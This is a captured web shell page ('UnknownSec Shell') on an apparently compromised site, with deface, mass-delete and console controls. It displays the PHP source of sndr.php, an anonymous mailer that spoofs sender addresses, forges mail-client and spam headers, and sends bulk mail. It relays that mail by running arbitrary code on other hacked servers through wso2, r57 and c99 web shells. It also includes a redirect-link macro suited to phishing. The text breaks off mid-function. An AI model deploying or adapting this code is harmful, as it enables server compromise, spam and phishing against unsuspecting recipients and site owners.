shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolas.brannanatkinson.com
/
public
/
assets
/
images
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
sndr.php
<?php //$logpass="471049bb2b637045ae72c81d398f1b5d"; //FORMAT: md5(loginIMAILpassword); ?> <?php ini_set('display_errors',0);//1 ini_set('display_startup_errors',0);//1 error_reporting(0);//-1 ?> <?php //set_time_limit(0); //$userAgents = array('6313445493bd26036a10112d93004957','b9cbd8dc13f19f9e7eb854f472bfa274'); //if (!in_array(md5($_SERVER['HTTP_USER_AGENT']), $userAgents)) {header('HTTP/1.0 404 Not Found');die();} //ini_set('display_errors',0);//1 //ini_set('display_startup_errors',0);//1 //error_reporting(0);//-1 ?> <?php header('Content-type: text/html; charset=utf-8;'); ?> <?php rand(); #Alexus(240980845) - //www.a-l-e-x-u-s.ru/ #CREATED AT 15.12.2011 #UPD 02.04.2012 v 1.1 #UPD 10.04.2012 v 1.2 #UPD 30.05.2012 v 1.3 #UPD 02.06.2012 v 1.3.1 #UPD 20.10.2012 v 1.4 #UPD 16.02.2013 v 1.5 #UPD 15.04.2013 v 1.5.1 #UPD 01.06.2013 v 1.6 #UPD 15.09.2013 v 1.6.5 define("VERSION", "1.6.5 [UPD] Phoenix aka M3ph15 v0.1"); #$boundary="--alexusMailer-165"; $boundary='--ALT--'.md5('--Syki'.rand(100,999).'Zaebali'.rand(100,999).'M-A-I-L_R-U'); $lang="ru"; if (isset($_COOKIE['translation'])) $lang=$_COOKIE['translation']; if(isset($_POST['PROXY'])) { $proxy_server=parse_url($_POST['PROXY']); define("PROXY",$proxy_server['host'].":".$proxy_server['port']); } $translation=array( 'ru'=>array( 'name'=>'Фишечка',//'йаПосылалка', 'title_service'=>'Сервис анонимной отправки почты с подменой адреса', 'description_service'=>'Сервис анонимной отправки электронной почты с подменой адреса и прикреплением файлов йаПосылалка', 'keywords_service'=>'Сервис анонимной отправки почты,анонимная отправка почты, анонимная отправка электронных сообшений, анонимная отправка сообшений, анонимное письмо, анонимный e mail ,отправить анонимный e mail,анонимная отправка e mail', 'need_auth'=>'Для доступа необходима авторизация.', 'wronglogpas'=>'Неправильный логин или пароль.', 'sendedto'=>'Отправлено на ', 'badcaptcha'=>'Неправильная captcha', 'sendlimit'=>'Лимит отправок 1 в час', 'sendavailable'=>'Отправка доступна', 'sendlessminute'=>'Отправка менее чем через минуту', 'sendafter'=>'Отправка через ', 'sendafter2'=>' минут', 'attachfile'=>'Прикрепление файла', 'close'=>'Закрыть', 'upload'=>'Загрузить', 'uploadlist'=>'Загрузка списка', 'uploadtemplate'=>'Загрузка шаблона', 'preview'=>'Предпросмотр', 'donatedevelopment'=>'Спонсировать разработку', 'techsupport'=>'Техническая поддержка', 'settings'=>'Настройки', 'threadsnum'=>'Количество потоков:', 'timeoutlen'=>'Длительность задежки в секундах:', 'useoutservers'=>'Использовать внешние серверы для отправки', 'unavalable_in_service'=>'недоступно в режиме сервиса', 'less'=>'Меньше', 'more'=>'Больше', 'delete'=>'Удалить', 'status'=>'Статус', 'recipient'=>'Кому', 'fromname'=>'От кого, имя', 'frommail'=>'От кого, адрес email', 'replymail'=>'Адрес ответа, email', 'subject'=>'Тема', 'subject_example'=>'выращивание бамбука под кроватью', 'addfield'=>'Дополнительное поле', 'addfield2'=>'доп. поле', 'mailtype'=>'Тип письма', 'plaintext'=>'обычный текст', 'withformating'=>'с форматированием', 'htmle'=>'html с переносом картинок в аттач', 'captcha'=>'Проверочный код', 'save'=>'Сохранить', 'load'=>'Загрузить', 'send'=>'Отправить', 'hellopage'=>'<center><h2>Сервис йаПосылалка</h2></center> <p> Сервис йаПосылалка создан на базе одноименного скрипта анонимной отправки электронной почты. Для сервиса всегда используется последняя версия скрипта, но при этом сервис имеет некоторые ограничения для защиты его от использования в качестве спамера. <br><b>Ограничения:</b><br> <ol> <li>Разрешено отправлять одно письмо в час</li> <li>Для отправки необходимо вводить капчу</li> <li>Отображается реклама</li> </ol> <b>Сервис анонимной отправки почты абсолютно бесплатен</b> и существует в первую очедь в демонстрационных целях.<br> <center><button class="btn btn-primary btn-large prime-button">Отправить письмо</button></center> </p> <p> Последнюю версию скрипта анонимной отправки для установки на своём сервере можно <b>купить за 25$ или 750 рублей</b>. <br>В ней <b>отсутствуют все ограничения</b> на отправку, и обеспечиваются:<br> <ol> <li>Помощь по использованию и установке</li> <li>Исправление найденых ошибок</li> <li>Приоритетный приём заявок по доработке</li> <li>Обновления в пределах текущей ветки</li> </ol> <center><a href="/buy/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Купить</a></center> </p> <p> У йаПосылалка существует <b>высокодоходная партнёрская программа</b>, если человек купит скрипт по вашей партнёрской ссылке, вы получаете <b>50% от стоимости</b> скрипта (12.5$ или 325 рублей) с каждой продажи.<br> <center><a href="/partner/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Стать партнёром!</a></center> </p> <script type="text/javascript">(function() { if (window.pluso)if (typeof window.pluso.start == "function") return; var d = document, s = d.createElement(\'script\'), g = \'getElementsByTagName\'; s.type = \'text/javascript\'; s.charset=\'UTF-8\'; s.async = true; s.src = (\'https:\' == window.location.protocol ? \'https\' : \'http\') + \'://share.pluso.ru/pluso-like.js\'; var h=d[g](\'head\')[0] || d[g](\'body\')[0]; h.appendChild(s); })();</script> <div data-description="Сервис анонимной отправки электронной почты с подменой адреса и прикреплением файлов йаПосылалка" data-title="Сервис анонимной отправки почты с подменой адреса - йаПосылалка" data-url="//mailer.a-l-e-x-u-s.ru/" class="pluso" data-options="big,square,line,horizontal,counter,theme=08" data-services="vkontakte,odnoklassniki,facebook,twitter,google,moimir,email,print" data-background="#ebebeb"></div> <div id="vk_comments"></div> <script type="text/javascript"> VK.Widgets.Comments("vk_comments", {limit: 10, width: "660", attach: false, norealtime:1}, "mailer.a-l-e-x-u-s.ru"); </script>', 'helppage'=>'<h2>Справка</h2> <h3>Что это?</h3> Сервис анонимной отправки email сообщений с произвольного/чужого адреса в текстовом или html формате.<br> <b>Формат html(e)</b> позволяет автоматически перенести в attach картинки из тегов img или атрибута background, что делает письмо автономным и не требует внешнего сервера для корректного отображения. Так же в почтовых клиентах (the bat, outlook, ...) картинки отображаются сразу.<br> <b>esreveR</b> меняет символы в обратном порядке и устанавливает css для их отображения в верном порядке.<br> <b>Предпросмотр</b> позволяет посмотреть как будет выглядеть письмо когда все макросы будут заменены.<br> <b>Сохранение\Загрука</b> позволяет экономить время и делать шаблоны для часто используемых писем.<br> <b>Подгрузка списка</b> адресатов возможна нажатием на кнопку рядом с соотв. полем.<br> <b>Задержка</b> между отправкой писем<br> <b>Внешние серверы</b> для распределения рассылки между разными йаПосылалками <br><b style="color:red;">Перед использованием внешних посылалок проверьте корректность их работы на сервере</b> <br><br><a href="//mailer.a-l-e-x-u-s.ru/about.pdf"><span class="label label-warning"><i class="icon-file icon-white"></i> Скачать полную документацию</span></a> <hr> <h3>Макросы (в теле письма и в заголовках)</h3> <ul> <li>Кому - <b>[TO-EMAIL]</b></li> <li>От кого, имя - <b>[FROM-NAME]</b></li> <li>От кого, адрес email - <b>[FROM-EMAIL]</b></li> <li>Тема - <b>[THEME]</b></li> <li>Дополнительное поле - <b>[ADD0]</b> , <b>[ADD1]</b>, <b>[ADD2]</b> ...</li> <li>Случайное число (5000..6000)- <b>[RAND]</b></li> <li>Случайное число (от A до B)- <b>[RAND-A-B]</b> , например <b>[RAND-10-99]</b></li> <li>Случайный текст - <b>[RAND:text1|text2|...]</b> , например <b>[RAND:hello dude|hello|hi|wazzup]</b></li> <li>Перечисление - <b>[ENUM:text1|text2|...]</b> , например <b>[ENUM:здравствуйте|привет|как дела]</b></li> <li>Перечисление - <b>[ENUM:text1|text2|...]</b> , например <b>[ENUM:здравствуйте|привет|как дела]</b></li> <li><h4>ADDon`s by Phoenix aka M3ph15</h4></li> <li>Кому в MD5 - <b>[TO-EMAIL-MD5]</b></li> <li>Кому в BASE64 - <b>[TO-EMAIL-BASE64]</b></li> <li>Случайные строки из файла - <b>[RAND-FILE:filename.txt]</b></li> </ul> <h3>Макросы даты и времени</h3> <ul> <li><b>[DATE]</b> - Текущая дата (<b>[DATE-4]</b> - Текущая дата минус 4 дня) (<b>[DATE+4]</b> - Текущая дата плюс 4 дня) <ul> <li><b>[DAY]</b> - Текущий день (<b>[DAY+3]</b> - Текущий день плюс 3 дня)</li> <li><b>[MONTH]</b> - Текущий месяц (<b>[MONTH-2]</b> - Текущий месяц минус 2 месяца)</li> <li><b>[YEAR]</b> - Текущий год (<b>[YEAR-1]</b> - Текущий год минус 1 год)</li> </ul> </li> <li><b>[TIME]</b> - Текущее время (<b>[TIME-4]</b> - Текущее время минус 4 минуты) <ul> <li><b>[HOUR]</b> - Текущий час (<b>[HOUR-3]</b> - Текущий час минус 3 часа)</li> <li><b>[MINUTE]</b> - Текущая мминута (<b>[MINUTE-2]</b> - Текущая минута минус 2 минуты)</li> <li><b>[SECOND]</b> - Текущая секунда (<b>[SECOND-2]</b> - Текущая секунда минус 2 секунды)</li> </ul> </li> <li><h4>ADDon`s by Phoenix aka M3ph15</h4></li> <li><b>[DATE-GOOGLE-RU] [DATE-GOOGLE-EN]</b> - Дата и время в формате писнем от гугла (рус и англ соответственно)</li> </ul> <h3>SMTP (ADDon by Phoenix aka M3ph15)</h3> <ul> <li>Настройки -> Внешние сервера -> <b>server:port|smtp|email:pass</b> <ul> <li><b>server:port</b> - СМТП-сервер и Порт соответственно (по стандартам: порты 25 - обычное соеднение, 465 - TLS/SSL)</li> <li><b>smtp</b> - Сам опознаватель использования внешнего СМТП</li> <li><b>email:pass</b> - Имя почтового ящика для авторизации, и его пароль (если автризация не требуется вбиваем null:null)</li> </ul> </li> </ul> <hr> Внимание! Сервис предоставлен исключительно для ознакомления. Ответственность за возможно незаконное использование несете только Вы.' ), 'en'=>array( 'name'=>'alexusMailer', 'title_service'=>'Anonymous e-mail service', 'description_service'=>'Сервис анонимной отправки электронной почты с подменой адреса и прикреплением файлов йаПосылалка', 'keywords_service'=>'Сервис анонимной отправки почты,анонимная отправка почты, анонимная отправка электронных сообшений, анонимная отправка сообшений, анонимное письмо, анонимный e mail ,отправить анонимный e mail,анонимная отправка e mail', 'need_auth'=>'Authentification required!', 'wronglogpas'=>'Wrong login or password!', 'sendedto'=>'Sended to ', 'badcaptcha'=>'Wrong security code', 'sendlimit'=>'Sending limit is 1 per hour', 'sendavailable'=>'Sending available', 'sendlessminute'=>'Sending will be available less in one minute', 'sendafter'=>'Sending after ', 'sendafter2'=>' minutes', 'attachfile'=>'Attach file', 'close'=>'Close', 'upload'=>'Upload', 'uploadlist'=>'Upload list', 'uploadtemplate'=>'Upload template', 'preview'=>'Preview', 'donatedevelopment'=>'Donate to developer', 'techsupport'=>'Tech Support', 'settings'=>'Settings', 'threadsnum'=>'Thread nubmer:', 'timeoutlen'=>'Timeout in seconds:', 'useoutservers'=>'Use external servers for sending', 'unavalable_in_service'=>'unavailable in service mode', 'less'=>'Less', 'more'=>'More', 'delete'=>'Delete', 'status'=>'Status', 'recipient'=>'Recipient', 'fromname'=>'From, name', 'frommail'=>'From, email', 'replymail'=>'Reply-to, email', 'subject'=>'Subject', 'subject_example'=>'Growing bamboo under the bed', 'addfield'=>'Additional field', 'addfield2'=>'add. field', 'mailtype'=>'Mail type', 'plaintext'=>'plain text', 'withformating'=>'with formating', 'htmle'=>'html with image auto-attach', 'captcha'=>'Security code', 'save'=>'Save', 'load'=>'Load', 'send'=>'Send', 'hellopage'=>'<center><h2>alexusMailer service</h2></center> <p> alexusMailer service is based on the eponymous script to send an anonymous e-mail. For this service is always used the latest version of the alexusMailer, but it have some limitations to protect it from being used as a spammer. <br><b>Limitations:</b><br> <ol> <li>Allowed to send one letter per hour</li> <li>To send you must enter the captcha</li> <li>Advertisement</li> </ol> <b>Anonymous mailing service is completely free</b> and exists in demonstration purposes.<br> <center><button class="btn btn-primary btn-large prime-button">Send mail</button></center> </p> <p> You can by the latest version of alexusMailer - anonymous mailing script for installing on your own server <b>for 25 USD</b>. <br>This version <b>have no any limitations</b> and gives you:<br> <ol> <li>Full support in installation and using</li> <li>Fixing of all errors you can find</li> <li>Priority accepting applications for upgrading</li> <li>Free updates in current major version (1.*)</li> </ol> <center><a href="/en/buy/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Buy alexusMailer</a></center> </p> <p> alexusMailer has a <b>highly profitable partnership program</b>, if a person buys alexusMailer on your affiliate link you get <b>50% of the cost</b> (12.5 USD) per sale.<br> <center><a href="/en/partner/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Became a partner!</a></center> </p> <script type="text/javascript">(function() { if (window.pluso)if (typeof window.pluso.start == "function") return; var d = document, s = d.createElement(\'script\'), g = \'getElementsByTagName\'; s.type = \'text/javascript\'; s.charset=\'UTF-8\'; s.async = true; s.src = (\'https:\' == window.location.protocol ? \'https\' : \'http\') + \'://share.pluso.ru/pluso-like.js\'; var h=d[g](\'head\')[0] || d[g](\'body\')[0]; h.appendChild(s); })();</script> <div data-description="Anonymous e-mail service with attaching files - alexusMailer" data-title="Anonymous remailer - alexusMailer" data-url="//mailer.a-l-e-x-u-s.ru/en/" class="pluso" data-options="big,square,line,horizontal,counter,theme=08" data-services="vkontakte,odnoklassniki,facebook,twitter,google,moimir,email,print" data-background="#ebebeb"></div> ', 'helppage'=>'<h2>Help</h2> <h3>What is it?</h3> Anonymous mailing service from random or foreign email in plain text or html format.<br> <b>Format html(e)</b> allows automatically move images from img tag or background attribute to attach, what makes letter independent from external server for correct display. Also in e-mail clients (the bat, outlook, ...) will be displayed immediately.<br> <b>esreveR</b> change symbol possition in back order and set css for correct display in mail.<br> <b>Preview</b> can hepl to see how mail will look after all macro will be replaced.<br> <b>Save\Load</b> is helpful in making collection of regular mailing templates.<br> <b>Recipient list loading</b> available by clicking on button near the recipient field.<br> <b>Timeout</b> between sending mails.<br> <b>External servers</b> for distributing you mails between different servers <br><b style="color:red;">Before using external servers ensure that they work correct.</b> <br><br><a href="//mailer.a-l-e-x-u-s.ru/about.pdf"><span class="label label-warning"><i class="icon-file icon-white"></i> Download full documentation</span></a> <hr> <h3>Macro (in mail body, headers and additional fields)</h3> <ul> <li>Recipient - <b>[TO-EMAIL]</b></li> <li>From, name - <b>[FROM-NAME]</b></li> <li>From, email - <b>[FROM-EMAIL]</b></li> <li>Subject - <b>[THEME]</b></li> <li>Additional field - <b>[ADD0]</b> , <b>[ADD1]</b>, <b>[ADD2]</b> ...</li> <li>Random number (5000..6000)- <b>[RAND]</b></li> <li>Random number (from A to B)- <b>[RAND-A-B]</b> , example <b>[RAND-10-99]</b></li> <li>Random text - <b>[RAND:text1|text2|...]</b> , example <b>[RAND:hello dude|hello|hi|wazzup]</b></li> <li>Enumeration - <b>[ENUM:text1|text2|...]</b> , example <b>[ENUM:wellcome|hi|how are you]</b></li> </ul> <h3>Macro for date and time</h3> <ul> <li><b>[DATE]</b> - Current date (<b>[DATE-4]</b> - Current date minus 4 days) (<b>[DATE+4]</b> - Current date plus 4 days) <ul> <li><b>[DAY]</b> - Current day (<b>[DAY+3]</b> - Current day plus 3 days)</li> <li><b>[MONTH]</b> - Current month (<b>[MONTH-2]</b> - Current month minus 2 months)</li> <li><b>[YEAR]</b> - Current year (<b>[YEAR-1]</b> - Current year minus 1 year)</li> </ul> </li> <li><b>[TIME]</b> - Current time (<b>[TIME-4]</b> - Current time minus 4 minutes) <ul> <li><b>[HOUR]</b> - Current hour (<b>[HOUR-3]</b> - Current hour minus 3 hours)</li> <li><b>[MINUTE]</b> - Current minute (<b>[MINUTE-2]</b> - Current minute minus 2 minutes)</li> </ul> </li> </ul> <hr> Warning! This service was created only in demonstration purposes. All responsibility for out law actions is only on you!' ) ); function tr($name, $iface=true) { global $lang, $translation; if($iface) print "<span class='tr-$name'>".$translation[$lang][$name]."</span>"; else print $translation[$lang][$name]; return; } /* if($logpass!="") { if(!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="IMAIL"'); header('HTTP/1.0 401 Unauthorized'); print tr('need_auth',false); exit; } else { if(md5($_SERVER['PHP_AUTH_USER']."IMAIL".$_SERVER['PHP_AUTH_PW'])!=$logpass) { header('WWW-Authenticate: Basic realm="IMAIL"'); header('HTTP/1.0 401 Unauthorized'); print tr('wronglogpas',false); exit; } } } */ if (get_magic_quotes_gpc()) { function stripslashes_deep($value) { $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); return $value; } $_POST = array_map('stripslashes_deep', $_POST); $_GET = array_map('stripslashes_deep', $_GET); $_COOKIE = array_map('stripslashes_deep', $_COOKIE); $_REQUEST = array_map('stripslashes_deep', $_REQUEST); } if($_SERVER['QUERY_STRING']=="send" || $_SERVER['QUERY_STRING']=="preview") { $email=array( to=> $_POST['to'], fromname=> $_POST['fromname'], frommail=> $_POST['frommail'], replymail=> $_POST['replymail'], tema=> $_POST['tema'], additional=>$_POST['additional'], text=> $_POST['text'] ); if($_POST['type']=='text') $tip="text/plain"; else $tip="text/html"; ReplaceTemplates($email[text], $email); ReplaceTemplates($email[fromname], $email); ReplaceTemplates($email[frommail], $email); ReplaceTemplates($email[tema], $email); foreach ($email[additional] as $key => $value) ReplaceTemplates($email[additional][$key], $email); $fromname=trim($email[fromname]); $fromname=substr($fromname,0,100); $frommail=trim($email[frommail]); $frommail=substr($frommail,0,100); $frommail=$email[frommail]; if ($frommail!='') $from="=?UTF-8?B?".base64_encode($fromname)."?= <$frommail>"; else $from="=?UTF-8?B?".base64_encode($fromname)."?="; $tema="=?UTF-8?B?".base64_encode($email[tema])."?="; $tema="=?UTF-8?Q?=D0=9F=D0=B0=D1=80=D1=83=D1=88=D0=B5=D0=BD=D0=B8=D0=B5 =D0=BF=D0=BE=D0=BB=D1=8C=D0=B7=D0=BE=D0=B2=D0=B0=D1=82=D0=B5=D0=BB=D1=8C=D1=81=D0=BA=D0=B3=D0=BE =D1=81=D0=BE=D0=B3=D0=BB=D0=B0=D1=88=D0=B5=D0=BD=D0=B8=D1=8F.?="; $s = quoted_printable_encode($email[tema]); $s = str_replace(array("\r\n","\r","\n"), '', $s); $s = str_replace("==", '=', $s); //$s = str_replace(" ", '=20', $s); $tema="=?UTF-8?Q?".$s."?="; //$tema=$email[tema]; //echo $tema; $header=""; $header.="From: $from\r\n"; $header.="To: ".$email['to']."\r\n"; $header.="Subject: $tema\r\n"; $header.="X-Mailer: Microsoft Outlook 16.0\r\n"; if(trim($email[replymail])!='') $header.="Reply-To: {$email[replymail]}\r\n"; // $header.="X-Priority: 1 (Highuest)\r\n"; $header.="X-Priority: 3 (Normal)\r\n"; $header.="X-Mras: Ok\r\n"; $header.="X-Spam: undefined\r\n"; $header.="MIME-Version: 1.0;\r\n"; $header.="Content-type: $tip; charset=utf-8\r\n"; $header.="Content-Transfer-Encoding: base64\r\n\r\n"; ReplaceTemplates1($email[text], $header); if($_SERVER['QUERY_STRING']=="preview") { print $email[text]; exit; } if($_POST['type']=='htmle' || isset($_POST['files'])) { $header=""; $header.="From: $from\r\n"; $header.="To: ".$email['to']."\r\n"; $header.="Subject: $tema\r\n"; if(trim($email[replymail])!='') $header.="Reply-To: {$email[replymail]}\r\n"; $header.="X-Mailer: REG.MAILER [ https://reg.ru ] 1.0\r\n"; if(trim($email[replymail])!='') $header.="Reply-To: {$email[replymail]}\r\n"; // $header.="X-Priority: 1 (Highuest)\r\n"; $header.="X-Priority: 3 (Normal)\r\n"; $header.="X-Mras: Ok\r\n"; $header.="X-Spam: undefined\r\n"; if (1==1) {$header.="Content-type: multipart/mixed; boundary=\"$boundary\"\r\n\r\n";} else { $header.="Content-type: multipart/alternative; boundary=\"$boundary\"\r\n\r\n"; $content="--$boundary\r\n"; $content.="Content-type: text/plain; charset=\"utf-8\"\r\n"; $content.="Content-Transfer-Encoding: base64\r\n\r\n"; $fil = file('x.txt'); $c = count($fil); for ($i = 1; $i <= 5; $i++) { $s .= $fil[array_rand($fil)]; } $content.=chunk_split(base64_encode($s))."\n"; } $content.="--$boundary\r\n"; $content.="Content-type: text/html; charset=\"utf-8\"\r\n"; $content.="Content-Transfer-Encoding: base64\r\n\r\n"; } if($_POST['type']=='htmle') { preg_match_all('~<img.*?src=\"(.+?)\".*?>~si',$email[text],$matches); preg_match_all('~background="(.+?)"~si',$email[text],$matches2); $img_matches=array_merge($matches[1],$matches2[1]); $i = 0; $paths = array(); foreach ($img_matches as $img) { if($paths[$i-1]['path']==$img) continue; $paths[$i]['path']=$img; if(preg_match("/\.gif/i", $img)) { $paths[$i]['type']='gif'; } else if(preg_match("/\.png/i", $img)) { $paths[$i]['type']='png'; } else if(preg_match("/\.(jpeg|jpg)/i", $img)) { $paths[$i]['type']='jpeg'; } else { $paths[$i]['type']='unknown'; } $paths[$i]['cid']=md5($img); $email[text] = str_replace($img,'cid:'.$paths[$i]['cid'],$email[text]); $i++; } //////////////////////////////////////////////////////////// $content.=$email[text]."\n"; $content.=chunk_split(base64_encode($email[text]))."\n"; if(isset($_POST['files'])) $content.=makeAttach(json_decode($_POST['files'], true), $boundary); foreach($paths as $img) { $content.="--$boundary\n"; if($img['type']=="unknown") $content.="Content-Type: application/octet-stream; name=\"".$img['cid'].".png\"\n"; else { $content.="Content-Type: image/".$img['type']."; name=\"".$img['cid'].".".$img['type']."\"\n"; $content.="Content-Disposition: inline; filename=\"".$img['cid'].".".$img['type']."\"\n"; } $content.="Content-Transfer-Encoding:base64\n"; $content.="Content-ID: <".$img['cid'].">\n\n"; $content.=chunk_split(base64_encode(file_get_contents($img['path'])))."\n"; } $content.="--$boundary--\n"; } elseif(isset($_POST['files'])) { $content.=$email[text]."\n"; $content.=makeAttach(json_decode($_POST['files'], true), $boundary); $content.="--$boundary--\n"; } else { $content.=base64_encode($email[text])."\n";//$content=$email['text']; } /** Зона дебага Симулируем отправку(медленно и четко) */ /*sleep(5); echo tr('sendedto',false).$email[to]; exit;*/ /** Зона дебага */ if($_SERVER['QUERY_STRING']=="send" && isset($_POST['outserver'])) { $data=json_encode(array( 'to'=>$email[to], 'subject'=>$tema, 'content'=>base64_encode($content), 'header'=>$header ) ); $smtpdata=array( 'to'=>$email[to], 'from'=>$from, 'subject'=>$tema, 'content'=>$content, 'header'=>$header ); $code="\$hide=array('PHP_SELF'=>'','SCRIPT_FILENAME'=>'','REQUEST_URI'=>'','SCRIPT_NAME'=>'');while(list(\$key,)=each(\$hide)){\$hide[\$key]=\$_SERVER[\$key];\$_SERVER[\$key]='/';}\$data=json_decode('{$data}',true);mail(\$data['to'],\$data['subject'],base64_decode(\$data['content']),\$data['header']);reset(\$hide);while(list(\$key,)=each(\$hide))\$_SERVER[\$key]=\$hide[\$key];print 'sended';"; $outserver=$_POST['outserver']; list($url,$type,$pass)=explode("|",$outserver); if($type=="wso2") { $answer=wso2exec($url,$pass,$code); print $answer=="sended"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer; exit; } elseif($type=="r57") { list($login,$pass)=explode(":", $pass); $answer=r572exec($url,$login,$pass,$code); print $answer=="sended"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer; exit; } elseif($type=="c99") { list($login,$pass)=explode(":", $pass); $answer=c992exec($url,$login,$pass,$code); print $answer=="sended"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer; exit; } elseif($type=="smtp") { list($login,$pass)=explode(":", $pass); $answer=smtpexec($url,$login,$pass,$smtpdata); print $answer=="sended"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer; exit; } else { print "WRONG OUT SERVER TYPE"; exit; } } else { mail($email[to], $tema, $content, $header); } echo tr('sendedto',false).$email[to]; exit; } elseif ($_SERVER['QUERY_STRING']=="upload_form") { print "<form action='".$_SERVER['PHP_SELF']."?upload' method='post' enctype='multipart/form-data'><input type='file' name='elist'>"; exit; } elseif ($_SERVER['QUERY_STRING']=="upload") { if ($_FILES["elist"]["error"] > 0) { echo "Error: " . $_FILES["elist"]["error"] . "<br />"; } else { print "<html><body onload='window.parent.upload_finished(document.body.textContent||document.body.innerText)'>".file_get_contents($_FILES["elist"]["tmp_name"])."</body></html>"; } exit; } elseif ($_SERVER['QUERY_STRING']=="upload_universal") { if(!isset($_POST['sended'])) { print "<form action='".$_SERVER['PHP_SELF']."?upload_universal' method='post' enctype='multipart/form-data'><input type='hidden' name='sended' value='true'><input type='file' name='elist'>"; exit; } else { if ($_FILES["elist"]["error"] > 0) { echo "Error: " . $_FILES["elist"]["error"] . "<br />"; } else { print "<html> <body onload='window.parent.uploadFinishedHandler(document.body.textContent||document.body.innerText)'>". base64_encode(json_encode(array( "name" => $_FILES["elist"]["name"], "type" => $_FILES["elist"]["type"], "size" => $_FILES["elist"]["size"], "content" => base64_encode(file_get_contents($_FILES["elist"]["tmp_name"])) ))). "</body></html>"; } exit; } if ($_FILES["elist"]["error"] > 0) { echo "Error: " . $_FILES["elist"]["error"] . "<br />"; } else { print "<html><body onload='window.parent.upload_finished(document.body.textContent||document.body.innerText)'>".file_get_contents($_FILES["elist"]["tmp_name"])."</body></html>"; } exit; } elseif ($_SERVER['QUERY_STRING']=="loadsave") { if(isset($_FILES["elist"])) { print "<html><body onload='window.parent.loadsave(document.body.innerHTML)'>".file_get_contents($_FILES["elist"]["tmp_name"])."</body></html>"; } else { print "<form action='".$_SERVER['PHP_SELF']."?loadsave' method='post' enctype='multipart/form-data'><input type='file' name='elist'></form>"; } exit; } elseif ($_SERVER['QUERY_STRING']=="savedata") { if(isset($_POST['savedata'])) { header ("Content-Type: application/force-download"); header ("Accept-Ranges: bytes"); header ("Content-Length: ".strlen(($_POST['savedata']))); header ("Content-Disposition: attachment; filename=template.txt"); print $_POST['savedata']; } else { print "<form action='".$_SERVER['PHP_SELF']."?savedata' method='post'><textarea name='savedata'></textarea> <input type='submit' value='Upload'></form>"; } exit; } elseif ($_SERVER['QUERY_STRING']=="changepass") { clearstatcache(); $response=array(); if(!is_writable(__FILE__)) { $response['result']="error"; } elseif($_POST['login']=="" && $_POST['pass']=="") { $data=file_get_contents(__FILE__); $data=str_replace($logpass, "", $data); file_put_contents(__FILE__, $data); $response['result']="ok"; } else { $new_logpass=md5($_POST['login']."IMAIL".$_POST['pass']); $data=file_get_contents(__FILE__); if($logpass=="") { $data=str_replace('$logpass="471049bb2b637045ae72c81d398f1b5d";', '$logpass="'.$new_logpass.'";', $data); } else { $data=str_replace($logpass, $new_logpass, $data); } //$data=preg_replace("/$logpass=\".*?\";/", "$logpass=\"".$new_logpass."\";", $data, 1); file_put_contents(__FILE__, $data); $response['result']="ok"; } //print $new_logpass.PHP_EOL; //print $data; print json_encode($response); exit; } elseif ($_SERVER['QUERY_STRING']=="diagnostics") { clearstatcache(); $state=array( 'self_permissions'=>(int)is_writable(__FILE__), 'dir_permissions' =>(int)is_writable("."), 'mail_function' =>(int)function_exists("mail"), 'fgc_function' =>(int)function_exists("file_get_contents") ); if(isset($_POST['API'])) { print json_encode($state); exit; } print "<h1>diagnostics</h1>"; print "<pre>"; print_r($state); print "</pre>"; exit; } elseif ($_SERVER['QUERY_STRING']=="pingoutservers") { $testcode="echo 'test';"; $list=explode(PHP_EOL, $_POST['servers']); $newlist=array(); foreach ($list as $outserver) { list($url,$type,$pass)=explode("|",$outserver); //сначала проверим что не 404 $headers = get_headers($url, 1); if($headers[0]=="HTTP/1.1 404 Not Found") continue; //иначе проводим тест авторизации и выполнения кода if($type=="wso2") { $answer=wso2exec($url,$pass,$testcode); if($answer=='test') $newlist[]=$outserver; } elseif($type=="r57") { list($login,$pass)=explode(":", $pass); $answer=r572exec($url,$login,$pass,$testcode); if($answer=='test') $newlist[]=$outserver; } elseif($type=="c99") { list($login,$pass)=explode(":", $pass); $answer=c992exec($url,$login,$pass,$testcode); if($answer=='test') $newlist[]=$outserver; } } print implode(PHP_EOL, $newlist); exit; } function ReplaceTemplates1(&$target, &$head) { if (stripos($target,'[!!!]') || stripos($target,'[!!!]')) { $target=str_replace('[!!!]', '', $target); $head=str_replace('X-Priority: 3 (Normal)', 'X-Priority: 1 (Highuest)', $head); } } function ReplaceTemplates(&$target, &$email) { $target=str_replace('[YANDEX]', 'https://mail.yandex.ua/re.jsx?h=a,qyN0RTKDNyXEQlmrjNREPw&l='.base64_encode($y).'_ZW1haWw9bWVnYXRlc3QubWVnYXRlc3RAeWFuZGV4LnJ1JmlkPTU5ZGViZjFjYjc1YzI1NmUzMGQzMDcwZjJkNmQzNTQ0JmI9YldWbllYUmxjM1F1YldWbllYUmxjM1JBZVdGdVpHVjRMbkoxJmZhaWw9MQ', $target); $target=str_replace('[TO-EMAIL]', $email[to], $target); $target=str_replace('[TO-EMAIL-MD5]', md5($email[to]), $target); $target=str_replace('[TO-EMAIL-BASE64]', base64_encode($email[to]), $target); list($lala,$bebe) = explode('@',$email[to]); $target=str_replace('[TO-EMAIL-NAME]', $lala, $target); $target=str_replace('[TO-EMAIL-DOMEN]', $bebe, $target); $target=str_replace('[TO-EMAIL-NAME-MD5]', md5($lala), $target); $target=str_replace('[TO-EMAIL-NAME-BASE64]', base64_encode($lala), $target); { $translate = array( "January" => "Январь", "February" => "Февраль", "March" => "Март", "April" => "Апрель", "May" => "Май", "June" => "Июнь", "July" => "Июль", "August" => "Август", "September" => "Сентябрь", "October" => "Октябрь", "November" => "Ноябрь", "December" => "Декабрь" ); $target=str_replace('[DATE-GOOGLE]',strtr(gmdate("j F Y г. H:i:s "),$translate).'UTC',$target); } $target=str_replace('[DATE-GOOGLE-EN]',gmdate("l, F j, g:i A")." GMT",$target); $target=str_replace('[FROM-NAME]', $email[fromname], $target); 